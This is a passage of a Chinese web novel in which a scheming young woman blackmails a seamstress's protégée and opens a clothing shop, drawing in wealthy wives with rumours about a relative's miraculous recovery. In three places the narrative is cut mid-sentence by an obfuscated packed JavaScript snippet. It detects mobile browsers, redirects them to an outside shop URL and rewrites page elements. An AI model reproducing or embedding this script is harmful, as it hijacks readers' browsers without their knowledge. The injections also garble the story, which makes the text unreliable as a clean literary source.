黎姣姣走得快，无心感受这份寂寥，她绕过书房，对眼看上三扇廊门后的朱红大门，那门是于府正屋大门，她见过，门后屋檐下高高挂着“于氏菏泽”的大匾。 来时见过，黎姣姣心想，她也是一路血雨腥风走来的，苟宅没能困住她，这于宅也不能，父兄没能比过她，这白女更不能。 她不比白嘉园差，定不会比白嘉园差，她也会从正屋大门堂皇而出，像个男人一般。 吱—— 朱红大门被从外拉开，黎姣姣站在三层花廊门后，看见圆领长袍的少年步入，是白嘉园。 一张朝气蓬勃的脸，随其身迎面居然嗅到一股自然的土腥味，或许是来自黎姣姣心心念念的永业田的味道。 前朝的田，午女官似乎并未一刀切，她们打算用这田谋划什么？ 要与白女一较高低的念头散了小半，她知道她不比白女差，只是自己身份低了些，比较比较，得有个大致相同的背景才好。 黎姣姣瞧着那人越近的身形，或许白女、午女官做的事于她也有利？ 或许她的女户一事，还能有转机？ “回屋去，把马大婆叫回来，还有……”春苗心领神会主子的未尽之言，行礼告退往另一处去。 黎姣姣喜欢昏黄交接时分，湖光天色映得瑰丽，天幕变得柔和，远处的云和袅袅的炊烟交融，让她深感心安。 “姑娘。”马大婆的呼声传来。 躲在宅院中够久，连她都变得多愁善感起来，日日常见的风景竟也引得心潮澎湃一番，黎姣姣自省，她是过得越发软弱。 “照姑娘的吩咐，晾了花小子几日，这番下来她着实老实了。” “老实？您教出来的孩子还没有不老实的。” 黎姣姣语气轻柔，话语带笑，马红翠却心惊，她手捏紧，再松开时失了血色，似下了决心，从怀中摸出一册子来。 宋娟为面，细腻的织法，是上好的绣娘，黎姣姣抚掌对光，见其行线、针脚，感叹道：“果然，是京都的货色。” 她又翻来覆去细细看、寸寸摩挲，“还是老货色。” 头回花小子带着布料册子来见她，黎姣姣就觉察出，这小子一是不单纯、二则身后另有帮手。 立一间成衣铺子，是她最好的营生手段不假，不过黎姣姣做事，宁可少赚八分，也不愿旁人从中得利一分，她找人出面经营，但从里到外的决定必须得是由自个掌握。 因此，花小子只能为她奔波办事，不得有自己的私心、打算。 “马大婆，你也是我身边的老人了，论年月，是比春苗还要早的陪着我，对你，我自然最信任不过。” 马红翠痛苦地闭上眼，她耳边是黎姣姣柔柔的话，“自太太放了你，若不是我，你哪能再回苟府呢？” “若不是我，你哪能再养两个贴心孩子呢？” “你说，为你我做了这么多，按理这好人得有好报啊，可来到鄂州，我只觉得处处不顺！是你说的，是你说我要找机会逃出苟府，是你说握住田郊的屋产我们就能衣食无忧，也是你说南下到鄂州，定会过得更好。 依你话，我从苟府大小姐，成了这于宅打秋风的穷亲戚，错了，连亲戚都高攀不上！你哄得我沦落如此，当真是恨透了我啊！” “姑娘！”马红翠跪倒，伸手够到主子的裙角，又不敢捏皱面料，手虚虚颤抖，嘴里哭腔道：“是奴不好，以后定当事事以姑娘为重。” “我这命，太苦了。” 黎姣姣背过身，眸子无神，视线无目的地飘忽，转了弯，她看见白嘉园大步流星扯开的衣角，如蝴蝶一般雀跃飞舞。 “姑娘。” 不知思绪飘远了多久，春苗的声音在耳畔响起。 黎姣姣才恍然醒神，对跪在地上的马红翠疑惑道：“怎的跪下了，你我之间情谊非常，我从未拿你真正当作奴婢，你是姨娘留给我的贴心人，只愿马大婆的心多多贴近我些，别为了什么花小子、草小子再给分了心去。” “姑娘心善，我却不得不说，那花小子惯会装乖，当着我们面没一句诚心话，她还干着前家主子的差事，又颠颠跑到姑娘面前装无知。” 春苗冷笑，“那日我跟在她身后，眼见着她进了坊市的一家织坊，凋零得不成样子，门庭冷落，只有一个白发瞎妇人。” 马红翠显然知晓，小心回道：“这，奴是知晓一二，那人曾是救济院的嬷嬷，曾在宫里做过绣娘，年岁大了回乡安养，只因家中无后……” “呸！既然你也知道，看来也是诚心与外人来蒙骗姑娘！” 春苗忿忿，只因连她都能看出来那妇人必不可能出自宫中，本朝以来，匠者地位并不低，尤其是能工巧匠，一般都会自立门户，以姓氏为招牌，专供皇宫贵族，其中绣娘地位更是非凡，好的绣娘从幼时便是娇贵尊养，而皇家绣娘更甚。 她们成日触碰的是最娇嫩珍贵的股线、面料，那双手是要比嫔妃的脸还要柔嫩。 “可她的手满是疮疤，骨节粗大，定不可能是做绣娘的，更别提是皇家绣娘。” “可是这样的人，却能出手京都的花样式。”黎姣姣指尖碾过宋娟，薄脆的册子因有微微变形，“马大婆你可能认不得，这样式，非是本朝的样式。” 马红翠不可置信，她睁大眼死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349359|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着黎姣姣手上的册子。 春苗恨声：“那分明是前朝的官婢，许是做浆洗活，不知怎的躲在鄂州这些年。” “所以，您要花小子拿出的……” 黎姣姣翻开青绫宋娟，两折后露出内里黄纸，上面描红寥寥几字，就是一女的前半生。 宫掖之制，经纬有序；天工之巧，针缕有凭。今有匠籍女子季鲜儿，系山南道贡籍，于昭华十年经考选入少府监织染署，习艺十载，核其心手，确为良工。 前朝周皇女帝即位，改年号为昭华，至昭华十二年，周朝颠覆，时卫国公复辟李氏皇族，立国建朝是为大乾。 而今又二十八年。 在京都混迹贵女圈那些年，黎姣姣没少用花样子挣私产，京都原先籍籍无名的首饰铺子、成衣铺子一炮而红都是靠她的“无心”宣传。 因而，她对这些女儿物件更为敏感。 “果然是前朝的余孽。”黎姣姣低语。 “你可知道，因前朝的旧官司才导致拿不下东郊的地，才至于立不了户，我只恨没能早生个三十年，恨不得将这群余孽绞杀殆尽，怎能容许她们坏我好事一次再一次！” 黎姣姣的愤怒不假，马大婆闻言急急替花小子开脱：“这孩子及她后面的那婢子，无非都是小人物，也不用姑娘多费心，若他们有何二心，奴头一个收拾她们。” 春苗听此话嗤笑出声，马大婆拿眼偷看主子的神色，却见她倒神情淡淡，心下一松，又道：“更何况，花小子是个女儿身这事，足够拿捏住她们。” 这点正中黎姣姣下怀，她愿意给花小子第二次机会，正是因为这孩子是个女娃娃，行走在外却假扮成男人模样，要知市井之事，女子抛头露面招惹来的是非光恶心人都够喝一壶，而男人就简单了，哪怕是个年岁小的瘦猴男孩。 花小子自幼被当做男娃来养，这正好给黎姣姣可用之机会，她需要一个有把柄在手的棋子，而这个棋子必须听从她，在进行驱使之前，她有必要对其进行一番打磨。 令黎姣姣惊喜的是，这番打磨之下，她拿到了更稳定的把柄——前朝的余孽，要拿捏一个人不仅是这个人，要连同她所在意的人、事一同拿捏住。 马大婆巧合下说中黎姣姣的心声，她道：“我将这个人带来见姑娘，就是瞧准了她的脾性，虽性格乖张、行事狡猾，但对她两个干娘是掏心掏肺的好，若是个全虚的坏东西，反倒不敢让姑娘用。” 黎姣姣点点头，面上一副无意再谈，她心下判断，虽前朝的官司是一桩禁忌，可看午女官行事背后又另有企图，季鲜儿这个出身，是花小子的把柄，却说不定在将来还会有大用。 一举两得。 春苗将宋娟册子收好，转身从里屋取出两张银票递给马大婆。 合计一千两，马大婆捏住两张沉甸甸的纸，心下大定，朝主子恭恭敬敬行礼告退。 又不过三五日，花小子递话—— 成衣铺子的装潢、布置大致完成，求黎姑娘亲自到店过目，夺定细节。 15. 镜花楼1 是日天气明朗，但在不见光的暗处，依然微冷的寒气宣告着还未至暖日。 黎姣姣从西苑小角门往外走，正巧撞见许玟素进门，她身后跟着七八个采买的婆子，或拎或提又或背了一箩筐。 两人对上面容，许玟素惊喜道：“姐姐身体可是好多了？是准备外出？你该让春苗递个话来，好备辆软轿给你出去用。” 黎姣姣笑着婉拒，说了些应付话，并未将这番出门的真正去处告诉许玟素。 两人告别，背向向行，待过了三四个转角，春苗才不解发问：“姑娘不愿意让许小姐知道铺子的事？” 黎姣姣摇头，“这铺子等八字有一撇再说吧，许妹妹忙家中事，不好叫她分神操心我的琐事。” 话虽如此，可鄂州的生意打算，黎姣姣并不打算在人前漏出。铺子体量小，却是她在鄂州真正的依靠。 车马行至坊市，遥遥看到租赁的那栋三层小楼，黎姣姣震惊，何止一撇、连捺都快完事了呀！ 一楼铺头空着匾，推开一扇厚重的乌头门，通屋地面是寻常青砖铺就，扫得光洁如镜，抬眼入目一架淡墨山水屏风，绕过屏风，右手边一张高柜，后边竖排布置三四布匹架，左侧两张太师椅用八角瓷盆中的玲珑竹隔开，一处往二楼的楼梯，梯间挂有几副美人图。 二楼是一层开间，无任何门框遮挡，墙壁满刷一层月白色土浆，干净得像新雪后。墙上几乎无物，仅在一人高处，等距钉着数枚黄铜竹节，屋内两侧尽头，各自置放着一面半人高铜镜，镜柜绕着花朵、嫩枝蜿蜒盘折。 三楼房间被一卷两臂长的细竹帘分割，拉起后又有张月白纱帘，再之后是两卷细长窄竹帘或卷或垂，隔出三处若即若离的间。间内各有等人高的铜镜摆置，间外两尊玻璃柜台，绿意盈盈，衬得一室清新自然。 退回一楼，掀帘，至内院，地面被夯平以深色卵石嵌出一条小径，通向一栋二层小绣楼。 楼型狭长，约莫三四人宽，一楼房间层高低，屋内不过三四张小椅，便略感闭塞。 踏上两折木梯，就上到二楼，两座绣机静静躺在屋内，是有些年头的木织机，框架都被磨得圆滑，透出温润质感。 “后边还有间库房，现下堆满杂物，姑娘便不必去瞧了。” 春苗脚步快，已经逛完一圈，见到好些还未理干净的地方，便返回来禀告主子，免得她受冲撞。 黎姣姣点头作意，她心里有准备，当日租下这处铺面时堪称寒酸，门头三层楼破损不堪，院内一栋绣楼亦然，更何况院中泥泞不平的地面，更显破败，正因如此，房价算得上便宜，东家连同隔院的屋子也一并半送半租给她。 两院之间留了一道隐秘的门，另一边的三间平屋，一间曾被用作厨房，多是脏污，黎姣姣干脆让人砸了，两间并作一间当作库房，还剩一间留作伙计房。 听外头织呀作响，二楼多出个花小子来，这回她是老实问好，细细向主家说起她的构思来—— 主铺面，一楼主要放置成品布料，二楼作量体、置挂成衣，三楼试衣、兼售各类锦帛腰带、挂件、配饰。 绣楼置放织机，是黎姣姣此前特意嘱咐的，花小子虽不明用意，也还是找了两架老家伙满足主家。 花小子不明白花这钱作甚，莫说鄂州，便是整个山南道、江南道，开一家衣坊只需几捆布、一扎软尺，一位绣娘就行，若是体量大、名气广的店铺才会考虑添置染缸、织机、提花机之类大家伙。 “姑娘，一座织机须得请两位绣娘，还得是有资历的老娘子。”花小子小心开口。 春苗截话：“这你就不用操心了。” 花小子倒也机灵，连连笑着说是。 见不惯这幅谄媚样子，春苗鼻孔出气都要额外响一些。 “好了，脾气是越发差了。”黎姣姣扭过脸又对花小子道：“我一个孤女，万幸有春苗这样性子护着，你多担待，但她也是个实在人，对自家人是最好不过的。” 花小子闻弦知意，立马笑道：“那我得拿出十分本事，好让春苗姐姐放心把我当作自己人了！” “她呀！”黎姣姣语气无奈，“我觉得你已经很有本事了，能够装成这样子，我大体是满意的，不过……” 她一连说了几处需要修改和精进之处，又格外严肃提出别的要求，花小子一点就透，无须黎姣姣过多解释。 只是花小子还是忧心，“姑娘的主意定是好的，只不过办起来不太容易。” “容不容易的你且做去！”春苗又来气。 春苗张牙舞爪的样子，叫黎姣姣噗嗤笑出声来，花小子闹个红脸便退出办事去了。 许是有意展现本事，便不出五日，花小子就称事事俱备，再请黎姑娘去掌眼。 得了信，黎姣姣没急着去，她只是回知道了，晾了大半日也没再提这事，马大婆是不敢催，春苗琢磨半晌，问主子：“今日姑娘不打算出门？” “我问你，在鄂州这几月，你可有交到什么贴心人？” 春苗想了想才回话：“得了姑娘的提点，这于府中小丫头们倒是混得熟捻，不过妈妈、婆子们不常多来往。” “这些小丫头的底细你都清楚？有没有外头关系？” 春苗有问有答：“好像有那么几个，家里有几姐妹，好像是卖到不同的人家去了。” “我明白了！”春苗兴奋地呼喊起来，她脑子一转便得意自己揣摩到黎姑娘的心思。 “姑娘放心，这桩事交给我吧。” 黎姣姣见春苗兴致冲冲火急火燎往外冲，也没顾上再多说几句，不过她也放心春苗，毕竟这事她们在京都是熟门熟路—— 开一间成衣铺子，黎姣姣却不以为铺子只是卖一套衣裳，想起自己在京都那些手段和眼光，干瘪的钱袋子定会再次鼓起来。 夜里，春苗才回屋，嘴上还起了小泡，她请完安，又往主子身上添了件小袄，备好一壶温乎的花茶，为主子斟满小杯，她开口慢慢说来：“都摸清楚了，这鄂州城里啊——” 鄂州属山南道第一大城，物产丰饶，得运河便利上接京都、下邻江南，此处豪门望族不少，但归其五姓之家最为鼎盛。 崔吴于郑王。 “这五家中适龄的小姐有四位，分别是……“ 春苗说得详细，黎姣姣不置一词。 “除了这五大望族，另各书香之家、官宦人家的适龄小姐十余人。“ “这么少？”黎姣姣不解。 昔年在京都，朝中官员、各方氏族，各式有头有脸的人家，这些家庭的娇小姐之多犹如正盛的长春花朵般繁密。每逢好时节，小姐们的宴席是要连绵办上一月多余。 “谁说不是呢！说来也怪，鄂州城内家家都是少爷多、小姐少，因而一家有女便是大喜事呢！” “嫡的没有，庶的也没有？” 春苗回得吞吞吐吐，“这些老爷们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349360|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不怎纳妾呢。” 黎姣姣扶额，在京都好用的手段竟是水土不服，她的铺子无法通过贵女圈子打响名声呢！ “不过我打听到一件事，姑娘听了些许开心些。” 春苗立马绘声绘色说起好消息：“听闻白女好几日不曾出门了，大少爷的院子这几日管得严厉，说不定是于家看不惯这白女整日抛头露面的！” 事出古怪。 黎姣姣不认为是于家管住了白嘉园，相反，于家老太君应该乐于见到白嘉园与午女官交好才对，难道？ 她一乐，难道是白女得罪了午女官？ 见别人过得不好，黎姣姣顾不上自己的难处，只觉一阵神清气爽，好似一付补药下肚，她有足精神来。 次日收拾清爽，黎姣姣来到自家铺子，可见这些日子花小子下的功夫，精致程度翻了一番。 主铺未有多大变化。 二楼新添了两座立式展架，由普通桦木所制，打磨得极其光滑，造型挺拔如兰。 架上已有两条重工满绣长裙，牵起的裙摆之下，衬着大张素布，如同画纸，光线从高处直棂窗洒入，被重重帘、幔滤得柔和，恰好笼罩其上，丝线的光泽、刺绣的凹凸，纤毫毕现，光彩照人。 内院依照黎姣姣的交代，搭建了一棚，一面临墙、三面靠低矮栅栏粗略圈了一个“间”，之中设有几张藤编平头案与素麻蒲团。 案上陈设，不过一只粗陶罐，插着芦苇与枯莲蓬。一块扁平青石充做砚山，一本空白线装册与一支笔，可供人即兴涂画、留字。 空气中，是一股清冷的草木香——用薄荷、艾草、柏叶等药材制成的香丸，在角落的陶兽炉中缓缓烘焙出味。 黎姣姣深吸一口，吐出体内浊气，大叹：“好！” 一旁忐忑的花小子得了这句话，也是大喜，放松了不少，她身边的春苗也是一副松快样子，花小子有意搭话：“春苗姐姐，要说咱们姑娘的趣味真是与众不同。” 铺内，不见金玉，枯枝作饰，这样简单到几乎是穷酸的装潢，花小子很是忧心。 “你懂什么！这叫大道至简！”春苗侃侃而谈，“越是有钱的小姐越是瞧不起佩金戴玉的样子，嫌庸俗。” “可哪来有钱小姐会来这儿？” “没钱的也很适合来我们铺子！” 花小子没话了，她算是明白这个春苗，好话歹话都被她说去了。 得，主家拿钱她办事，只要主家觉得好就是好，花小子不免想起马大婆对黎姣姣的吹捧，从京都贵女圈来的黎小姐定是比她要懂小姐们的喜恶。 黎姣姣也在沾沾自喜，花小钱办大事，好啊好！ 本朝贵女圈的喜好风向向来是奢靡矜贵，可她手里的银钱哪够装出一间富丽堂皇的铺面，与其买些样子货露怯成个四不像反倒令人轻视，不如彻底摈弃金玉之色。 贵气，除了外物依托，也是由细节、底蕴造就。 铺中多为木制家具，这批椅子、架子都是花了大价钱，虽不是什么名贵木头，经年累月下来变得油润，瞧着便就不菲。 院中的装饰，配合通屋朴素之风，用的是湖石、枯枝置景，替代了鲜花树木，便能让朴素之中又有枯涩之意，阵阵淡香，不艳不俗，竟使人在萧瑟之境中感到如沐春风。 目之所及、手之所触，处处质朴却精致，细究便知其独具匠心，深探方晓只用了三百两不到。 好啊好！ 16. 镜花楼2 成衣铺子初具雏形，往里前后投入将近一千五百两，南下携带的、从于府捞的，白银用个精光，黎姣姣计划着尽快要让店铺开门营业。 可开业不等于挣钱，回程的轿子抬得四平八稳，黎姣姣的心却起伏不定。 她觉得头疼，在京都好使的噱头在鄂州行不通，失去贵女圈的口口相传，这又如何吸引富家后宅人的注意呢。 这家铺子就是瞅准富家太太、小姐们的钱袋子去，卖一尺布能挣多少，卖一套粗布短衫能挣多少，可若能搭上名流圈，哪怕只卖出一条绣裙，也足够铺面吃上半年。 不！够一年了！ 心里的小算盘拨得飞快，铺子支出大头除开房租，目前便是布料。 在花小子的账本里，寻常绢布、棉布、麻布，有她人脉进货价格倒合宜，不过这些料子是做不成衣裳的，既然要卖给贵人，衣裳定然要显贵。 绫罗绸缎定是要备上，专用的绣线、金丝线，装饰的宝石辅料。 开业之前，铺里已经备好两条重工刺绣裙，用料自不必言，重点在于刺绣。 一条有着栩栩如生、精妙绝伦的立体牡丹花样，混合金、银双线，颜色上浓淡相宜，阳光之下还更是夺目。 另一条兰花裙，虽整体淡雅，花样用线却招摇，极细的斑斓花线，是季鲜儿压箱底的存料，这朵花迎光看去是五彩缤纷，暗处透出幽幽蓝光。 这两条裙子价格不菲，盈利也不菲。 毕竟她的绣娘，这位据说出身于前朝宫中的绣娘，没花一分钱。 念及至此，黎姣姣又惆怅起来，这两条裙子再好，也压不住场面，遇到行家店里又拿不出好货，定要被人看轻。 一连着，想必也会看穿店铺装潢上的窘迫，这番苦心经营的“贵气”风格一旦露怯一次，她的货再也卖不出高价了。 咬牙，只能把自己南下逃亡都舍不得扔弃的、压箱底的、够传家的三捆布匹也拿出来。 这下真是一穷二白。 手里无钱，心里慌，黎姣姣只想早日挣一笔大的，于家不能久住，待许玟素嫁出，她必定是要搬出的，届时、房租、吃食、几个丫头…… 还有工钱！ 越盘算，开店后的账面缺口就越大。 一架绣机须得配上两个绣娘，好在她计划中绣机的装饰作用大于使用，凭自己的小作坊，脚踩得冒烟也够不上半尺布料产出，因此找来几个样子货装装，想来也不费几个钱。 昔日刚入鄂州城，一同在寺庙里避难时，她曾记得有几个娘子，浆洗活做得不错，缝缝补补也在行，难民身份入城，找她们来做工，工价压得便宜不说，还能为自己谋划一份好名声。 黎姣姣算盘拨到此，顿感宽慰，她早就让马大婆去寻人，想来这几日也会有答复了，那么铺子这个月就能计划开张，她开始盘算起黄道吉日来—— 忽地，桥子停下，外面有个小丫头靠近送话—— “是于家表小姐吗？若小姐得空，叨扰小姐受累，与我们太太见上一面。” 随即，春苗往里递来署名王家太太的拜帖。 黎姣姣一瞧，嘴里乐呵答应，心里微妙起来，拜帖的样式是后院夫人的手笺，想来找她说的话，也未必是能公开说的话。 为什么是找她呢？ 黎姣姣脑子转成麻花，愣是想不到她与鄂州王家能有什么关联。 于家表小姐？难不成是因为于家？于家近日有何特别？ 心下几转，但面上不显，行径方向一转，至椿食楼。 最热闹的坊市一角，一幢气派的食楼，瞧着有四层，但层高却足够让人仰视，黎姣姣没做这等傻事，春苗悄悄对着主子惊呼：“好气派的店！” 进店被引上三楼，走道尽头一扇雕花木门打开一半，黎姣姣镇定自若，刚跨进半个步子就被来人——一股浓烈的玫瑰香露味，熏得反臭——王家夫人热情地迎接。 黎姣姣福至心灵，这味道，她曾在于盛奕的婚宴中见过这人。 “表小姐！多日不见，你是出落得越发好了。” 王家夫人率先开口，熟稔极了，仿佛二人是在亲密不过的关系。 “担不起夫人的夸赞，我算不得什么人物值得夫人这番招待。”黎姣姣浅笑，“今日来得仓促，本该同玟素妹妹一块，您是长辈，合该我们登门拜访您才对。” “玟素啊……” 王夫人不情不愿嘟囔着，黎姣姣顿时明了，今日之事，定是关于于家，且事关重大且隐秘。 但这样的事，外人居然认为自己会知道？ 没等黎姣姣再多思虑，王家夫人极夸张地开口：“听闻大少爷新婚之后愈发上进……” 居然是关于那个残疾？黎姣姣放松下来。 见黎姣姣神色如常，王家夫人更觉找对人，她继续道：“像大少爷这样的文曲星人物，如今他又愿意下场，想来高中并不难，这则消息，不仅是于家的喜事，更是我鄂州文人之喜啊。” 下场？高中？ 自于盛奕腿伤之后性情大变，无论其内心是否如外表一样阴郁脆弱，黎姣姣都认为他不会出来丢人现眼，一个残废，一个被厚望压垮的残废。 想来是难得的恩科击昏这群读书人的头，居然编排上于盛奕了。 可王家夫人接下来的话，让黎姣姣震惊到无法思考，“不知府上请的那位神医什么来头，居然妙手回春，真能将大少爷的旧疾治好。” 黎姣姣怀疑自己耳朵，也怀疑对面人的脑子，见过于盛奕那副模样的人都知道，他要想好，只怕投胎转世还有半点希望。 既不知这等无稽之谈是何人传出，更不理解王家夫人为何因捕风捉影之事来私下找她，黎姣姣装出一副知晓内情又不愿多说的样子，草草应付一番，辞别王家夫人之后，她立马叫来春苗，要她先一步回府，弄清楚到底怎么回事。 “他的腿伤痊愈了？竟真要参加今年恩科？” 黎姣姣不可置信，这话居然是于家放出的，那说明，残疾大少的腿真好了？ 她敏锐联想到，之前春苗说到白女被限制出门，难不成真是沉下心来伺候丈夫、准备科考了？ 得了消息，再看于府内一举一动皆不寻常起来。 先是焦点之处，于家大少爷的院子，奴仆伺候着竟是日夜不歇，除了伺候人的，还有个白胡子老头也是候着，以防院内使用。 黎姣姣远远瞧过这人，就是普通江湖郎中装扮，低三下四要了半碗牛肉面，全然无想象中的神医那般盛气凌人。 难不成真有本事的人都是窝囊货？黎姣姣不解。 令人不解之处尤其多，白女出不了门，也没人见得到她，还因于家老太君严令，不允许任何闲杂人进出大少爷的院子，连面熟的奴仆也一概严进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349361|199584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严出，只怕是皇帝行宫都没这么严格。 再者，于家也闭门不见客，两位太太蹴鞠不玩、曲也不听，两人安分得像个鹌鹑，日夜陪着老太君在家庙里祈福，府中一应事由交给许玟素打理。 春苗窃以为，大夫是一码事，说不定于家虔诚地祈愿感动了神仙，这才使于大少的腿疾痊愈。 于家密不透风，外界传闻甚嚣尘上，不乏和春苗一样，认为必是神仙庇佑于家，于是上门递帖的人更多了。 恩科在即，谁家没有个读书人，纷纷想沾沾于大少的喜气。 可全都被拒了。 明面上无人搭理，暗地里就来找黎姣姣探口风。 于少爷多年沉疴，可巧，赶在新皇恩科之前病好了，腿不瘸了、不愿致仕的矫情性子也转了。 整个鄂州的读书人都惊呆了。 有的人立马头悬梁、锥刺股苦读起来，颇为用功。 有的人立马活络起来四处奔走，颇为用心。 他们有想求方的、有想求学的，更不乏想一求真假的。 王家夫人是头个，见一言两语撬不开表小姐的嘴，当夜又遣人传话，倒也婉转，问表小姐有无好好逛过鄂州城，她可陪着一块玩玩；又问表小姐新衣裳做没，她有一个老裁缝。 说者无心，黎姣姣乐了，正是打瞌睡就有人递枕头。 当天夜里，黎姣姣回帖，邀请王家太太次日于镜花楼一叙。 这一下不得了，多得是如王家夫人一般，拜帖细雨般无声砸进听绿园。 一封封回帖通过于府角门传出，若有心人检查，也不过说的是——听闻城中新开一家成衣铺子，想邀太太前往一同赏鉴。 黎姣姣不过欲借于家大少的喜气，为自己计划寻位佳婿，这不，连嫁衣都要开始准备啦！ “于少爷的事，我也不清楚呢。只是总听院里人说，少爷痊愈之后，很是用心学问，夜里挑灯读书，白日里求师问友。” “当真是忙绿啊！” “谁说不是呢，我同玟素妹妹也是好久未能见上他一面，远远瞧过，他步伐匆匆，瘦了不少。” 问话的太太听完若有所思，手上的杯盏轻放，仍溅出茶液几滴沿杯弦流动。 “太太，请您来呢，是见之前大少婚宴上，您极有主见，想着请您替我掌掌眼……” 待太太们想知道的正事聊完，黎姣姣开始铺垫自己的故事。 她说是请这些太太帮忙掌眼自己的婚服，又问了些鄂州风俗。 只说自己年岁合适，有意求于老太君相看，但自己毕竟是表亲，自幼丧父丧母，得了于家极大的恩情，嫁妆一事就不愿再劳烦老太君，自己也有体己银子，先备下一些也好。 此话说得可怜，太太们先是有求于她，见表小姐好说话、出身又可怜，何不能多怜爱一些。 至于为何一个未出阁女孩大剌剌说自己婚事，又为何自己只是帮小姐看衣，却被莫名推荐买了几套新衣，也没人说得清。 毕竟再多的事，还属男人的考试最为要紧。 是夜，莹莹烛光照亮黎姑娘的观音面，她嘴角微扬、嘴里轻哼着，显然愉快。 “除了见过的太太小姐，还有新帖送来吗？”她问。 春苗摇头。 “好。” 黎姣姣颔首，问起另一人—— “马大婆回来了？” 17. 镜花楼3 春苗仍然摇头。 “人是回来了，不巧赶上府中严查，不敢贸然回府，她递话说，明日到店中向姑娘汇报。” 于府自严管以来，黎姣姣手下的这些个人，行为、活动及其受限。 马红翠要想出去办事，还得谎称得了急病，需告假几日。 一去四五天，半点消息都没有。 现在送了话回来，她自认是好消息，于是安心入睡。 笠日。 黎姣姣领着春苗七拐八拐绕道，沿着市坊内河，拐进一条不起眼小巷，步行至巷中，清幽之中唯听水流潺潺淌过，又行数十步，二人停在一扇乌木门前。 叩门三声，停滞五息，复叩五次，门里响起人声，春苗回话，门被拉开。 进入其中，全然不同屋外的清静，里面热闹得很。 “姑娘，您可来了！”闻声是欣喜雀跃的少女。 瞧她却是一身艾褐色暗花绫圆领男袍，放量加大了，看上去并不合身，几乎垂到地面，外套一件茶色半臂，倒显几分庄重。 正是花小子，季华，现该唤季掌柜才是。 黎姣姣赞许：“越发像个人物了。” 季华笑笑，面容变得柔和，领着主家往里间去。 步子岔开半步，边走边沉声：“马大婆回来了，不过没带回人，姑娘，铺里可等不起了。” “进去说吧。” 黎姣姣面色如常，只有眉间不经意地一蹙，露出一丝情绪，很快又被隐藏起来，并不留痕。 要说，鄂州城中新鲜事不算少，城中新开一间成衣铺子，挂上匾——镜花楼——放过六挂炮仗，算是热热闹闹开门。 因其布匹矜贵、工价虚高，除了有几位妇人凑热闹进店逛过一圈，再也没别的客人。 这给季掌柜愁得啊，连宿睡不着，也不用故扮老成，疲惫之下瞧着便是饱受沧桑的模样。 直到一位娇小姐，听说极为赏识镜花楼的工艺，来过一次，便常常引人来，晨时一个、午后一个，一连数日，真就订下几套成衣。 使得店铺的人气也高涨了些，再有娇客来店，虽看不中大件，香囊、手帕、绢花、丝带子总有入得了眼的。 “好姑娘，您可真是神人，王太太的长衫，周太太的襦裙，再加上……”季华取下随身的小算盘，噼里啪啦一通算，脸上是掩不住的笑意，“这一开张，够咱们吃三四年了！” 掌柜房内，黎姣姣端坐在主位，她左手边半步距离，春苗挺胸直立，在她之后是马红翠坐在小凳上；对面是季鲜儿、季华，一坐一立。 好消息带来的振奋只一瞬，季华紧接着大诉苦水：“定单子时，我们可是向各位太太拍胸脯保证，按期交货。” “这是自然，咱们开铺做生意，衣裳漂亮是一回事，及时做好也是要看重的，尤其是头一回的货，太太们穿出去也是咱们的活招牌。” 黎姣姣下了一剂定心丸，她翻开账本，手指一处，便叫季掌柜算盘往回拨一次，“先把账本理清，事一件一件办。” “这几匹料子是我库里的，虽没有进价，但日后再想买到，可不容易了。” 她指出的，正是自己拿出、充做镜花楼镇店之宝的三匹布。 做贵人生意便是如此，他们养尊处优惯，平常花样、面料的衣裙，太太们哪能瞧的上眼，就算是一心二用、顺水推舟定件衣裳，她们也是要细细挑料子、选花样。 制式寻常，料子就不寻常，铺里大货面料人没瞧上一个，反倒是对高高挂起、牌上写着“非卖”的料子感兴趣。 黎姣姣就在场，心疼极了，咬着牙也得说是掌柜的私藏，因她制备嫁妆才肯拿出来。 于是这批私藏货——实则是黎姣姣南下压箱底的三捆缎月绸。 为她十二岁那年，苟老爷所赠。 其织法独特、丝线难得，手感如牛乳般柔顺，月白色泽如玉，随着布料摆动，光泽粼粼，是暗夜里中水面倒映的月光，温柔又沉稳。 在京都亦难寻过这样的佳品，放到鄂州来，更是让各位太太挪不开眼、爱不释手。 一衫、两裙，就将料子吃净。 边角料也没放过，季鲜儿利用起来还能做件半臂。就连碎布头都珍惜地留下，可以做头花。 木已成舟，黎姣姣依旧心疼，长叹一声，她继续说道：“再没有这么漂亮的盈利了。” 再没有这么漂亮的缎月绸了。 “你们得多找找面料渠道，山南、江南都太过于寻常，试试能否搭上关外的渠道。” 季华连连点头，她也心知布匹对于一家成衣铺的重要性。 关外？她从未想过，心下对主家的敬重又多一分。 